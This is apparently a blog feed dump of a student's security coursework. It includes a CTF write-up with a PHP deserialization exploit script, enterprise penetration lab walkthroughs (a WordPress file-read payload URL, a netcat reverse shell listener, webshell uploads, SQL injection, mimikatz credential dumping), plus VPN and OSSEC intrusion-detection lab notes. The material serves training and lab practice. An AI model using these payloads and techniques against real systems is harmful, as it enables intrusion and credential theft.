"straight": false
}
},
"interactivity": {
"detect_on": "canvas",
"events": {
"onhover": {
"enable": false
}
},
"modes": {
"push": {
"particles_nb": 12
}
}
}
});
</script>
<!--
<a href="/?whatareyounongshane=src">我真的是源码?</a>
<a href="/?whatareyounongshane=cmd">干点好事!</a>
<a href="/?whatareyounongshane=upload">送点东西!</a>
<a href="/?whatareyounongshane=tellmetruth">快告诉我真相!</a>
-->
</body>
所以哪个ISCC是真的?
1
2
3
4
5
6
7
8
9
10
11
import requests

url="http://39.96.91.106:7050/"

files={
'iscc_file':("b",open("1.png","rb")),
"_SESSION":("isccIsCciScc1scc","hello")
}

r=requests.post(url=url+"??=O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D",files=files)
print(r.text)
]]>
+ + + + + <h3 id="ISCC练武题"><a href="#ISCC练武题" class="headerlink" title="ISCC练武题"></a>ISCC练武题</h3><p>适合新手的题,练练手</p> +<h3 id="WEB-1"><a href="#WEB-1" cla + + + + + + + + + +
+ + + 企业渗透2 + + http://h4m5t.github.io/2021/05/02/%E6%B8%97%E9%80%8F2/ + 2021-05-02T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 实验描述

操作机的操作系统是kali 进入系统后默认是命令行界面 输入startx命令即可打开图形界面。

所有需要用到的信息和工具都放在了/home/Hack 目录下。

本实验的任务是通过外网的两个主机通过代理渗透到内网的两个主机。在渗透的过程中一般需要先进行端口扫描猜测主机上运行的服务,再通过漏洞利用脚本和其他扫描工具进一步确定漏洞存在,进而完成主机渗透拿到权限。

实验目的

Weblogic的java反序列漏洞应用
Wordpress任意文件读取的漏洞利用
Wordpress命令执行的漏洞利用
WordPress通过自己修改的EXP,getshell
通过代理扫描内网
Redis未授权访问以及对配置文件的理解
Ffmpeg任意文件的读取结合redis的利用
Drupal由于YAML解析器处理不当导致远程代码执行

实验环境

操作系统IP地址服务器角色登录账户密码
Kali Linux192.168.2.10操作机用户名:root;密码:Simplexue123
Centos 7192.168.2.11目标机用户名:root;密码:Simplexue123
Centos 7192.168.1.10目标机用户名:root;密码:Simplexue123
Centos 7192.168.1.11目标机用户名:root;密码:Simplexue123
Centos 7192.168.2.200目标机用户名:root;密码:Simplexue123

任务一 Weblogic反序列化

1
2
整体扫描外部网络,探测暴露在外部的主机信息
利用java反序列化漏洞利用脚本执行系统命令。

实验目的

通过完成本实验任务,要求学生掌握利用java反序列化漏洞利用脚本攻击weblogic服务的技术。掌握weblogic服务的常见端口,启动jar程序的方法和攻击weblogic的流程、方法和技巧,为完成后续企业渗透实验任务奠定坚实的漏洞利用技术基础。

打开kal操作机

访问192.168.2.10:7001

image-20210511164542470

打开home/HACK目录下的工具

image-20210511164750762image-20210511165117929

输入HOST、端口、以及CMD命令

image-20210511165325031

点击connect并执行

根据提示,找到/home/flag下的flag.txt文件

image-20210511165712024

任务二 Wordpress任意文件读取

任务内容:

1
2
使用wpscan工具扫描wordpress的插件漏洞
主要针对插件WP Hide Security Enhancer存在的任意文件读取漏洞,以此读取到网站主要文件。

image-20210511170357840

利用wpscan扫描wordpress网站,扫描漏洞插件

命令:wpscan –url 192.168.2.11 –enumerate p

image-20210511170541006

发现插件存在漏洞

根据提示直接上payload

http://192.168.2.11/wp-content/plugins/wp-hide-security-enhancer/router/file-process.ph p?action=style-clean&file_path=/wp-config.php

得到flag

image-20210511170853149

任务三 Wordpress命令执行

任务内容:

1
2
利用Burpsuite的repeater模块修改包探测漏洞存在的字段。
执行wordpress mailer命令执行漏洞的利用脚本尝试获取shell。

操作步骤

1
2
3
访问目标网站,在浏览器中配置代理,用Burpsuite拦截请求包
使用Burpsuite的repeater模块探测漏洞字段。
理解wordpress mailer漏洞的原理,执行wp.sh 脚本获取响应 信息

首先找到登陆入口

image-20210511171155980

对firefox及burpsuite设置代理,拦截请求。

image-20210511171245109

image-20210511171408750

image-20210511171428356

利用提供的脚本getshell,获得flag

任务四 改进漏洞利用脚本获得命令执行权限

实验目标

1
2
3
4
5
了解网络安全漏洞的概念以及现有的安全漏洞扫描工具。认知常见网络安全漏洞。
熟悉sendmail命令语法。
掌握webshell命令执行漏洞的常规下载执行的利用思路。
掌握在浏览器上配置代理的方法。
掌握利用Burpsuite的repeater模块改包测试的过程。

实验步骤

1
2
3
4
查看漏洞利用脚本wordpress-rce-exploit.sh理解脚本改进的原理。
填写漏洞利用脚本的关键信息如反弹IP,监听端口等。本地监听设置的端口获取反弹的shell。
利用shell上传regeorg的tunnel.php文件,使用regeorg架设代理
通过proxychains设置好regeorg的代理,利用这个代理扫描内网1.0网段
image-20210511180514611

首先查看脚本内容

修改recv_host=”192.168.2.200”

设置监听端口

nc –lvvp 7777

反弹shell

任务五 redis未授权访问+ffmpeg 任意文件读取

任务内容:

1
2
查看网页中的信息可知,是通过ffmpeg处理视频的小应用,只有上传,下载和删除功能,此处存在ffmpeg文件读取漏洞,构造特定的avi视频,经过ffmpeg处理之后的视频就会包含想要的文件内容。利用文件读取漏洞获取redis配置文件内容。
redis数据库服务,允许外连且没有设置密码,可以随意访问,此处存在未授权访问漏洞,正常情况下可以写入文件,但是过程中发现,必要的config命令被替换了。而config命令的替换一定是写在redis的配置文件中的,配置文件的路径又可以在redis中执行info获取到。在以上环境中获取到redis服务器的shell。

image-20210511192133312

任务六 drupal8远程代码执行

1
2
3
使用浏览器挂代理访问内网机器192.168.1.10。
利用drupal8的php反序列化漏洞向目标服务器写入webshell。
使用Cknife连接已经生成的webshell

实验目标

1
2
3
4
5
了解网络安全漏洞的概念以及现有的安全漏洞扫描工具。认知常见网络安全漏洞。
熟悉网站webshell的概念,理解上传webshell、获取webshell权限的意义和方法。
掌握webshell工具Cknife的基本使用,特别是设置代理的功能,查看上传文件,命令执行等功能的使用。
掌握在浏览器上配置代理的方法。
掌握利用drupal8的php反序列化漏洞的攻击方法和相关的技术原理。

操作步骤

1
2
3
4
5
使用浏览器结合proxychains用之前的代理访问内网中的drupal8的web应用。
弱口令登录目标网站后台
利用反序列化漏洞执行phpinfo 探测网站信息
利用反序列化漏洞写入webshell,并测试存在
用Cknife设置代理连接webshell获取网站的权限

image-20210511192257809

image-20210511192310808

然后利用exp写入webshell

image-20210511192516771

中国菜刀连接,即可获得flag。

]]>
+ + + + + <h3 id="实验描述"><a href="#实验描述" class="headerlink" title="实验描述"></a>实验描述</h3><p>操作机的操作系统是kali 进入系统后默认是命令行界面 输入startx命令即可打开图形界面。</p> +<p>所有需要用到的 + + + + + + + +
+ + + 企业渗透1 + + http://h4m5t.github.io/2021/04/30/%E6%B8%97%E9%80%8F1/ + 2021-04-30T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 实验描述

本实验的任务是通过外网的主机通过代理渗透到内网的主机。在渗透的过程中一般需要先进行端口扫描猜测主机上运行的服务,再通过漏洞利用脚本和其他扫描工具进一步确定漏洞存在,进而完成主机渗透拿到权限。

本实验的任务是通过外网的主机通过代理渗透到内网的主机。在渗透的过程中一般需要先进行端口扫描猜测主机上运行的服务,再通过漏洞利用脚本和其他扫描工具进一步确定漏洞存在,进而完成主机渗透拿到权限。

实验目的

1
2
3
4
5
6
爆破web网站后台,进入后台上传webshell
通过sql注入漏洞获取webshell
通过phpmyadmin写webshell
通过代理扫描内网
通过数据库中获取的密码登录内网机器
抓取域控账号和密码登录域控

实验环境

操作系统IP地址服务器角色登录账户密码
Windows7192.168.1.200操作机用户名:administrator;密码:Simplexue123
centos 7192.168.1.10目标机用户名:root;密码:Simplexue123
Windows2012192.168.2.10目标机用户名:administrator;密码:Simplexue123
Windows2012192.168.2.11目标机用户名:administrator;密码:Simplexue123

任务一 后台文件上传

描述:

1
2
使用wwwscan扫描网站后台目录,利用Burpsuite工具爆破网站后台用户名密码,获取cms的管理员密码登录后台。
构造php一句话木马,利用后台任意文件上传漏洞将木马上传到目标服务器,然后再使用中国菜刀连接一句话木马,获取目标服务器的webshell以便进行后续的操作。

首先打开网页查看

image-20210506201939054

发现是织梦CMS

使用wwwscan爆破网站后台目录

image-20210506202129351

image-20210506202228623

发现后台登陆:manager/login.php

image-20210506202453744

填写密码,使用bp抓包

image-20210506202604343

image-20210506202625359

选择密码字典爆破

image-20210506202719447

成功:admin:1q2w3e4r

image-20210506202909814

登陆成功并上传一句话木马

image-20210506203157878

打开中国菜刀并进行连接

image-20210506203933982

image-20210506204020172

任务二 sql注入

1
2
利用之前扫描目录得到的结果访问到测试的sql页面,利用SQL注入漏洞获得网站数据库信息
构造SQL注入语句读取webserver配置文件查看网站根目录,写入php一句话木马,获得webshell。
1
2
3
访问/sql目录,利用SQL注入漏洞获取网站数据库基本信息,如当前使用的数据库用户等。
利用SQL注入漏洞读取apache的配置文件,并通过配置文件中获取的网站根目录将一句话木马写入到网站目录中。
使用中国菜刀连接目标服务器上的一句话木马,查找网站根目录下文件中包含的flag值并提交

image-20210506204835331

image-20210506204901994

image-20210506205006586

读取配置文件

使用双写绕过

image-20210506205715832

image-20210506205902058

向/var/www/html写入一句话木马

image-20210506210029983

菜刀连接,并获取flag

任务三 phpmyadmin写shell

1
2
利用之前扫描目录得到的结果访问到phpmyadmin的页面,利用弱口令登录到phpmyadmin服务中。
构造SQL语句读取webserver配置文件查看网站根目录,写入php一句话木马,获得webshell。

image-20210506210247038

使用弱口令登陆

root,root

image-20210506210525029

image-20210506210613967

任务四

1
2
3
4
上传内网扫描的脚本到web的机器上,并对内网192.168.2.0/24段进行扫描
上传regeorg工具到web机器上开启代理服务
使用proxifier 工具代理远程连接访问登录到2.11上
读取C盘上根目录下的文件中的flag字符串,提交后该实验任务完成。

image-20210506211116806

image-20210506211151526

任务五

1
2
利用已经登录到远程桌面的机器,上传mimikatz工具抓取机器内存中的密码。
利用抓取到的密码登录到另一台机器2.10中。

image-20210506211320381

]]>
+ + + + + <h3 id="实验描述"><a href="#实验描述" class="headerlink" title="实验描述"></a>实验描述</h3><p>本实验的任务是通过外网的主机通过代理渗透到内网的主机。在渗透的过程中一般需要先进行端口扫描猜测主机上运行的服务,再通过漏洞利 + + + + + + + +
+ + + VPN实验 + + http://h4m5t.github.io/2021/04/21/VPN%E5%AE%9E%E9%AA%8C/ + 2021-04-21T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 实验任务

虚拟专用网(VPN)被定义为通过一个公用网络(通常是因特网)建立一个临时的、安全的连接,是一条穿过混乱的公用网络的安全、稳定的隧道。虚拟专用网是对企业内部网的扩展。虚拟专用网可以帮助远程用户、公司分支机构、商业伙伴及供应商同公司的内部网建立可信的安全连接,并保证数据的安全传输。虚拟专用网可用于不断增长的移动用户的全球因特网接入,以实现安全连接;可用于实现企业网站之间安全通信的虚拟专用线路,用于经济有效地连接到商业伙伴和用户的安全外联网虚拟专用网。

实验任务

任务一 使用IP命令搭建基于隧道的虚拟专有网络
任务二 使用加密工具OpenSSL创建加密密钥
任务三 SSL VPN之OpenVPN的安装配置
任务四 IPsecVPN原理及安装配置
任务五 云计算中基于Overlay技术的隧道网络实现

实验目的

掌握如何搭建基于隧道的虚拟专有网络
掌握加密算法了解及其应用
掌握如何安装部署配置openvpn服务端与客户端
掌握IPsecVPN原理及安装部署
了解公有云中overlay的实现

实验环境

操作系统IP地址服务器角色登录账户密码
Windows2012192.168.0.11操作机用户名:administrator;密码:Simplexue123
centos7_1192.168.1.11目标机用户名:root;密码:Simplexue123
centos7_2192.168.2.11目标机用户名:administrator;密码:Simplexue123

任务一

使用IP命令搭建基于隧道的虚拟专有网络

实现两不同网络内的内网通过ip隧道使之互通并检测。

image-20210422151231083

修改主机名

1
2
# hostnamectl set-hostname vpn1
# hostnamectl set-hostname vpn2
1
[root@vpn1 ~]# modprobe ip_gre

加载ip_gre内核模块

image-20210422152129613

配置tunnel(GRE隧道)使它们互通

1
2
[root@vpn1 ~] ip tunnel add gre1 mode gre remote 192.168.2.11 local 192.168.1.11 ttl 255
[root@vpn1 ~] ip a | grep gre1

启动gre1并分配ip地址10.10.10.1

vpn2创建一个GRE类型隧道设备gre1, 并设置对端IP为192.168.1.11

测试隧道是否通

image-20210422152200036

最后卸载GRE模块。

任务二

使用加密工具OpenSSL创建加密密钥

查看帮助信息

image-20210422153402076

生产RSA私钥

生成rsa_private.key私钥对应的公钥

生成RAS含密码(使用aes256加密)公私钥

1
[root@vpn1 ~]# openssl genrsa -aes256 -passout pass:simple -out rsa__aes_private.key 2048

加密与非加密之间的转换

生成 RSA 私钥和自签名证书

image-20210422155013278

任务三

SSL VPN之OpenVPN的安装配置

【任务描述】
本实验任务基于真实企业网络环境,在两台台服务器搭建的典型企业局域网环境中,主要完成以下内容:
(1)搭建openvpn服务端与客户端。
(2)实现客户端可访问服务端机器
【实验目标】
1.了解企业级别openvpn的使用场景。
2.掌握企业级别openvpn搭建和使用。
3.掌握openvpn客户端与服务端的搭建配置。

在vpn1机器安装openvpn并验证

1
2
[root@vpn1 ~]# yum clean all
[root@vpn1 ~]# yum install openvpn -y

修改openvpn的配置文件server.conf配置文件的内容

image-20210422160021557

修改openvpn服务端的配置文件

设置启动用户

安装密钥生成软件

配置生成证书的环境变量.并使之生效

1
systemctl start
1
systemctl enable
1
systemctl status

启动openvpn客户端并挂后台运行

image-20210422160050158

查看网卡信息

openvpn nat配置

任务四

【任务描述】
本实验任务基于真实企业网络环境,在两台台服务器搭建的典型企业局域网环境中,主要完成以下内容:
(1)搭建ipsec服务端与客户端。
(2)实现客户端可访问服务端机器
【实验目标】
1.了解企业级别ipsec的使用场景。
2.掌握企业级别ipsec搭建和使用。
3.掌握ipsec客户端与服务端的搭建配置。
4.掌握ipsec多种验证方式的实现

添加配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
[root@vpn1 ~]# vim  /etc/sysctl.conf
net.ipv4.ip_forward = 1
net.ipv4.conf.default.rp_filter = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.send_redirects = 0
net.ipv4.conf.eth0.accept_redirects = 0
net.ipv4.conf.eth0.send_redirects = 0
net.ipv4.conf.eth1.accept_redirects = 0
net.ipv4.conf.eth1.send_redirects = 0
net.ipv4.conf.lo.accept_redirects = 0
net.ipv4.conf.lo.send_redirects = 0

image-20210422160332518

安装openswan、libreswan并验证安装

启动服务看是否正常

1
2
3
[root@vpn1 ~]# yum install openswan libreswan  -y
[root@vpn1 ~]# ipsec --version
Linux Libreswan U3.20/K(no kernel code presently loaded) on 3.10.0-693.5.2.el7.x86_64

两端重新启动服务,并验证

1
2
[root@vpn1 ~]# systemctl restart   ipsec.service
[root@vpn1 ~]# ipsec auto --up net-to-net

在VPN1和VPN2上分别生成一个新的RSA密钥对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
conn net-to-net
# 一端IP地址
left=192.168.1.11
#一端内网网段地址
leftsubnet=10.0.0.0/24
#一端的标识符,可以任意填写,如果多个连接需要区分
leftid=@vpn1
leftnexthop=%defaultroute
leftrsasigkey=0sAwEAAbUpvs46MbqUxc8bzuU58C0H+tMdYj+JrexW8O3f6WmAIhfNXraG6RBuEchvUePABQGH4eCIlxFj6xRLWnndE4HGOEGFds/ogtG6jmUaE93FXiSby2Ucefm/1DldzNHfneQONo0grR86XWisKgxeV7YjUaqJUFTbYa2iDrivPNqkGqykP6aNpRXk4Kv49mKRKEgGFDpC/82qa45hh6ItL0Itq9QkTDqUQxzcA9fp8rz1adfUAOCKZaXMNfaD7zeaI+gJKyX3D7lb0h/7Nb8qwloaK1kE3BHvrUDZflqlE26NG/+Qfki8a/cp1sfphySmrtSaORKraDwspFZPF3jgeZO98rpiv43sNL1oUOBLwMzRWkZ6K4moMSKcrc32JKXu54klWxjVzVYnR+VOLpB4mPW+gPG9Rbi79VzfAsy2aTTKB73mOqHM6LrkMPo09OFTlfRTwKdG5nz1gjilYvYdi+uLQAdHZvYA2BhoSG2UC5mPC2sHwjLt39dcnq7+I2yyiePYECRGXtCveymJfOBlP1oA1LmkXq5HabgCgqRXDFK7IqkQzkaik+pox8xGrBYNBkrJeokjJ7+QkkFsl3eAKQS5ITp0XGmg6y1ltU7QcRbhKkLndJ9ZcaIWJw==
right=192.168.2.11
rightsubnet=10.0.1.0/24
rightid=@vpn2
rightnexthop=%defaultroute
rightrsasigkey=0sAwEAAa8cMIBatj+qSxIv+fg75elY9Vbw2lKNnap4rDsVXrS/gRb65I/IQpbjLswePCOllJ1jF5Y3HDOBTBR4wDGWpVlhY5laKnxQnFPeFMeqdCY6p7NWqN4Khf2Pl6YRo5zPe3P0PXuykv0Ns3ga11EEe/NNmwzL8J/9rd3yxbOIH9/lEaKh6pds0ys6aFZH0V0pwNnc7yg0ESKJ9i+uSDVEeDa+OubQv7+lBGuvCxVjhd/bHaqhGTw2UTw001q+zW4T9qGYuctOn5MWAHZsFXAnKu3wwPGMdHpsVbnZjtIPvsKuuD339H42mGAZ6NM2MLSLbZEaVMnaSv3bdVMBjMCe7ur4/N8suJqmZOofPGBCfV0AkLS5Z6J45eERdHxzmweaeprkamfS8nyMxwJeI7ovHiRfh1+jAufCGdeJ9YgMj4mmeVijLqepsmf0WVhga4XOXiLzRcUtE/DKOvHrE9x9QrWeFQwoQ/fOCLvh40iIn80ggZibeuROqhhU8ms4uers4IRhrhAF4ZUCqcxuHm/viNT0nJ6nN3tKfgp0Yc87S4+xA7S5920iQ/YKGMFF58k1TDQOes8la3yWnPBo4O+WegJDtbvyEXk=
#add代表只是添加,但并不会连接,如果为start则代表着启动自动连接
auto=add
1
2
[root@vpn1 ~]# systemctl restart   ipsec.service
[root@vpn1 ~]# ipsec auto --up net-to-net

任务五

【任务描述】
本实验任务基于真实企业网络环境,在两台台服务器搭建的典型企业局域网环境中,主要完成以下内容:
(1)搭建overlay网络实现不同宿主机之间同网段机器相通。
(2)检测网络联通性。
【实验目标】
1.了解overlay网络的使用场景。
2.掌握overlay搭建和使用。
3.掌握openvswitch的使用。

在VPN1和VPN2分别安装openvswitch并启动服务

1
[root@vpn1 ~]# yum install openvswitch -y

启动服务

1
[root@vpn1 ~]# systemctl start openvswitch.service

配置VPN1,2

搭建VXLAN隧道

1
ifconfig br0 10.1.0.2/24 up

image-20210422160925462

1
ovs-vsctl add-port br0 vx1 -- set interface vx1 type=vxlan options:remote_ip=192.168.1.11

image-20210422160953588

]]>
+ + + + + <h3 id="实验任务"><a href="#实验任务" class="headerlink" title="实验任务"></a>实验任务</h3><p>虚拟专用网(VPN)被定义为通过一个公用网络(通常是因特网)建立一个临时的、安全的连接,是一条穿过混乱的公用网络的安全、稳定 + + + + + + + +
+ + + 基于OSSEC的入侵检测 + + http://h4m5t.github.io/2021/04/05/%E5%85%A5%E4%BE%B5%E6%A3%80%E6%B5%8B/ + 2021-04-05T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 入侵检测实验

实验背景

计算机网络安全是一个国际化的问题,每年全球因计算机网络的安全系统被破坏而造成的经济损失达数百亿美元以上,这个数字还在不断增加。政府、银行、大企业等机构都有自己的内网资源。从网络安全的角度看,当公司的内部系统被入侵、破坏与泄密是一个严重的问题。据统计,全球80%以上的入侵来自于内部。由于性能的限制,防火墙通常不能提供实时的入侵检测能力,对于企业内部人员所做的攻击,防火墙形同虚设。因此,如何有效抵御网络入侵和攻击,已成为世界各国国家安全的重要组成部分,也是国家网络经济健康有序发展的关键。

入侵检测被认为是防火墙之后的第二道安全闸门,入侵检测系统能使在入侵攻击对系统发生危害前,检测到入侵攻击,并利用报警与防护系统驱逐入侵攻击,在不影响网络性能的情况下能对网络进行监听,从而提供对内部攻击、外部攻击和误操作的实时保护,大大提高了网络的安全性。

入侵检测实验通过企业复杂网络环境的入侵检测操作实战,要求学生深刻理解入侵检测和的概念、原理,进而熟悉入侵检测系统的功能,掌握常用的入侵检测技术和方法,最终具备娴熟的入侵检测能力和信息安全管理职业能力,能够胜任政府、金融、电商等企事业单位的信息安全系统设计、研究、管理等工作,并为国家网络空间安全事业做出应有的贡献。

实验任务

任务一 在不同的操作系统环境下安装和配置OSSEC代理,构建入侵检测环境;
任务二 监视OSSIM服务器本地root用户的登录情况;
任务三 基于SSH的远程非法入侵检测;
任务四 监视CentOS7 root用户情况;
任务五 监控Web服务器的访问日志。

实验目的

1.掌握在不同的操作系统环境下安装和配置OSSEC代理。
2.了解工具PuTTY的基本功能,掌握使用该工具远程连接机器的方法。
3.通过安装OSSEC代理,掌握PuTTY工具的实验,掌握配置OSSEC代理的方法,了解OSSEC入侵检测系统的架构、功能以及实现方式,具备构建入侵检测环境的能力。
4.掌握OSSIM系统的入侵检测规则设置方法,并能够根据报警信息做入侵行为分析,具备信息系统入侵检测和防范、维护系统安全的职业能力。

实验原理

  1. 入侵检测与入侵检测系统的概念

入侵检测(Intrusion Detection,ID), 顾名思义,是对入侵行为的检测。它通过收集和分析计算机网络或计算机系统中若干关键点的信息,检查网络或系统中是否存在违反安全策略的行为和被攻击的迹象,以便决策者有效采取措施,以保证网络系统资源的机密性、完整性和可用性。

入侵检测系统(intrusion detection system,简称“IDS”)是一种对网络传输进行即时监视,在发现可疑传输时发出警报或者采取主动反应措施的网络安全系统。它与其他网络安全设备的不同之处便在于,IDS是一种积极主动的安全防护技术。

  1. OSSIM与OSSEC简介

OSSIM即开源安全信息管理系统(OPEN SOURCE SECURITY INFORMATION MANAGEMENT),是一个非常流行和完整的开源安全架构体系。OSSIM通过将开源产品进行集成,从而提供一种能够实现安全监控功能的基础平台。 它的目的是提供一种集中式、有组织的、能够更好地进行监测和显示的框架式系统。

OSSIM明确定位为一个集成解决方案,其目标并不是要开发一个新的功能,而是利用丰富的、强大的各种程序(包括Snort、Rrd、Nmap、 Nessus以及Ntop等开源系统安全软件)。在一个保留他们原有功能和作用的开放式架构体系环境下,将他们集成起来。而OSSIM项目的核心工作在于负责集成和关联各种产品提供的信息,同时进行相关功能的整合。由于开源项目的优点,这些工具已经是久经考验,同时也经过全方位测试、是可靠的工具。
OSSEC是一个运行在OSSIM系统中的开源的入侵检测系统,从架构上看它属于C/S架构,从功能上看它可以执行日志收集与分析、完整性检测、rootkit检测、蠕虫检测、Windows注册表和实时报警等任务。它不仅支持OSSIM本身,还可以在UNIX、Linux、Mac、Windows系统中运行。由于OSSEC Server端就安装在OSSIM系统中,并和iptables实现了联动功能,因此只需在客户端安装代理即可,也就是通过OSSEC Server+Agent方式,以实现HIDS系统功能。

OSSIM系统中的HIDS(Host-based Intrusion Detection System,简称HIDS,即基于主机型入侵检测系统。作为计算机系统的监视器和分析器,它并不作用于外部接口,而是专注于系统内部,监视系统全部或部分的动态的行为以及整个计算机系统的状态。)通过安装在其他操作系统上的Agent程序来审计操作系统以及用户的活动,比如用户的登录、命令操作、软件升级、系统文件的完整性、应用程序使用资源情况等,根据主机行为特征确定是否发生入侵行为,并把警报信息发送给OSSIM上的OSSEC Server。这种HIDS可以精确地分析入侵活动,能确定是哪一个用户或者进程对系统进行过攻击。

OSSIM系统的工作流程为:

1
2
3
4
5
6
7
8
9
(1)作为整个系统的安全插件的探测器(Sensor)执行各自的任务,当发现问题时给予报警。
(2)各探测器的报警信息将被集中采集。
(3)将各个报警记录解析并存入事件数据库(EDB)。
(4)根据设置的策略(Policy)给每个事件赋予一个优先级(Priority)。
(5)对事件进行风险评估,给每个警报计算出一个风险系数。
(6)将设置了优先级的各事件发送至关联引擎,关联引擎将对事件进行关联。注意:关联引擎就是指在各入侵检测传感器(入侵检测系统、防火墙等)上报的告警事件基础上,经过关联分析形成入侵行为判定,并将关联分析结果报送控制台。
(7)对一个或多个事件进行关联分析后,关联引擎生成新的报警记录,将其也赋予优先级,并进行风险评估,存入数据库。
(8)用户监控监视器将根据每个事件产生实时的风险图。
(9)在控制面板中给出最近的关联报警记录,在底层控制台中提供全部的事件记录。

实验工具

  • OSSIM
  • OSSEC
  • Putty
  • Firefox

实验环境

操作系统IP地址服务器角色登录账户密码
OSSIM192.168.1.200OSSEC Server用户名:root;密码:Simplexue123
CentOS7192.168.1.6OSSEC Agent用户名:root;密码:Simplexue123
Windows 2012192.168.1.5OSSEC Agent用户名:administrator;密码:Simplexue123

实验过程

任务一

1.安装OSSEC HIDS

image-20210407201621741

2.配置

image-20210407201746103

3.在windows2012操作系统(服务器IP地址:192.168.1.5)中,使用putty远程登录OSSIM服务器

image-20210407202036641

4.使用putty终端启动OSSEC代理管理程序,创建新OSSEC代理

image-20210407202602565

image-20210407203548341

5.通过CentOS7终端SSH远程登录OSSIM服务器

image-20210407204054614

image-20210407204312076

image-20210407204635717

image-20210407205224315

任务二

2.1在windows2012上使用火狐浏览器访问OSSIM集成监测平台Web GUI界面,输入用户名admin和密码Simplexue123进行登录。

img

img

2.2 OSSIM系统已经默认设置了很多常规适用的入侵检测规则,我们不需要另行配置就可以直接使用。除此之外,我们还需要在OSSIM集成检测平台上通过修改ossec.conf规则配置文件来设置OSSEC系统的入侵检测规则。在OSSIM web页面中,单击Analysis—>Detection—>HIDS—>Config—>Ossec.conf,可以看到OSSIM集成检测平台已经默认监视了日志文件/var/log/auth.log。如果在Ossec.conf文件中没有找到关于auth.log的监控信息,请自行添加该部分内容的规则配置信息。

img

2.3重启OSSIM服务器,重启登录成功后进入图形操作界面,按Ctrl+Alt+F1切换到命令行界面,输入用户名root和密码Simplexue123进行登录,再输入命令exit退出登录,之后按Ctrl+Alt+F7回到图形界面。图形界面和命令行界面的切换登录是为了给OSSEC入侵检测系统提供OSSIM服务器的root用户本地登录检测信息源,以便OSSEC系统获取root用户本地登录的相关日志信息。

2.4在windows2012上远程连接到服务器192.168.1.200。

img

2.5在windows2012的OSSIM Web页面上,单击Analysis—> Security Events (SIEM),可以看到,Security Events页面中列出了OSSIM系统预设检测规则适用范围内的所有安全事件日志信息,可以找到通过putty远程登录时相关的SSH登录记录报警信息。该日志信息可作为系统管理员判断本次远程登录是否为非法入侵的重要报警信息。如果OSSIM服务器不允许root用户的远程登录操作,那么root用户的本次远程登录操作将被视为黑客入侵行为。

img

2.6在OSSIM web页面搜索框输入ossec,回车进行ossec报警数据过滤。

img

2.7因为OSSEC入侵检测系统监控了/var/log/auth.log文件,所以在OSSIM集成检测平台的OSSIM Web页面,除了记录SSH远程登录的相关安全日志信息,还会记录OSSEC报警信息,该报警信息可作为判断本次远程登录是否为非法入侵的重要依据。

任务三

3.1使用putty工具远程登录OSSIM服务器,在打开的终端中,使用CD命令进入“/var/ossec/rules”目录(该目录为OSSEC服务器的检测规则文件存储目录),并使用ls命令查看所有的OSSEC服务器端检测规则文件。可以修改这些文件的预设规则配置,来实现用户需要的自定义系统安全检测规则。其中,sshd_rules.xml为我们本实验任务需要自定义检测规则的文件,通过自定义规则,以实现收集root用户远程非法登录OSSIM服务器的报警信息的目的,为判定、分析入侵行为和动机提供重要依据。

img

3.2修改sshd_rules.xml规则文件中的其中一条(rule id号为5719),将level级别设置为2(level级别越高,优先级就越高,与该规则对应的报警信息将更优先被OSSIM服务器响应和处理),告警阈值设置为2次。该规则表示:当非法用户存在2次以上远程登录尝试操作,且操作时间超过30秒,那么将触发非法远程登录尝试报警。修改完sshd_rules.xml文件后保存并退出编辑状态。

任务四

4.1在OSSIM集成检测平台上设置规则,监测CentOS7用户情况。在CentOS7终端查看代理的配置文件,可以看到OSSIM集成检测平台默认监控/var/log/secure文件,如果没有该文件监控内容,请自行添加。

img

4.2重启OSSIM服务器(192.168.1.200)。

img

4.3使用工具模拟攻击者远程登录服务器(用户名root和密码Simplexue123)。

4.4在服务器终端输入命令“adduser simpleware”、“passwd simpleware”,添加新用户simpleware,并将其密码设为Simplexue123。

img

img

4.5回到OSSIM Web页面上,进行OSSEC警报数据的过滤,可以看到与CentOS7添加新用户相关的OSSEC报警信息。

img

4.6查看入侵检测系统检测到的报警信息,获得报警信息的字段特征。

img

因此OSSIM集成监测平台web页面中监测到的OSSEC代理新建用户的报警信息的signature:ossec:New user added to the system

任务五

5.1在CentOS7的终端修改ossec.conf文件,向该文件中添加如下内容,实现监控Web服务器的访问日志的功能。编辑完后按esc键退出文件编辑状态,并输入:wq命令保存文件。

img

5.2在终端输入命令“/var/ossec/bin/ossec-control restart”,重新启动OSSEC服务。

img

5.3在windows2012上访问被禁止访问的目录。在windows2012(IP为192.168.1.5)的火狐浏览器上新打开一个页面,访问http://192.168.1.6/dvwa/config,提示信息为Not Found。

img

5.4回到OSSIM Web页面上,进行OSSEC警报数据的过滤,可以看到访问禁止目录时的报警信息。

实验感想

通过此次实验:

1.掌握在不同的操作系统环境下安装和配置OSSEC代理。
2.了解工具PuTTY的基本功能,掌握使用该工具远程连接机器的方法。
3.通过安装OSSEC代理,掌握PuTTY工具的实验,掌握配置OSSEC代理的方法,了解OSSEC入侵检测系统的架构、功能以及实现方式,具备构建入侵检测环境的能力。
4.掌握OSSIM系统的入侵检测规则设置方法,并能够根据报警信息做入侵行为分析,具备信息系统入侵检测和防范、维护系统安全的职业能力。

]]>
+ + + + + <h1 id="入侵检测实验"><a href="#入侵检测实验" class="headerlink" title="入侵检测实验"></a>入侵检测实验</h1><h3 id="实验背景"><a href="#实验背景" class="headerlink" title="实 + + + + + + + + + +
+ + + 绿盟安服面试(实习) + + http://h4m5t.github.io/2021/04/04/%E7%BB%BF%E7%9B%9F/ + 2021-04-04T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 时间:2021-4-5

时长:25min

面试过程

1.自我介绍

2.SQL注入经常使用什么函数

3.渗透测试的流程

4.关于云安全

5.关于ISO 27001 风险评估

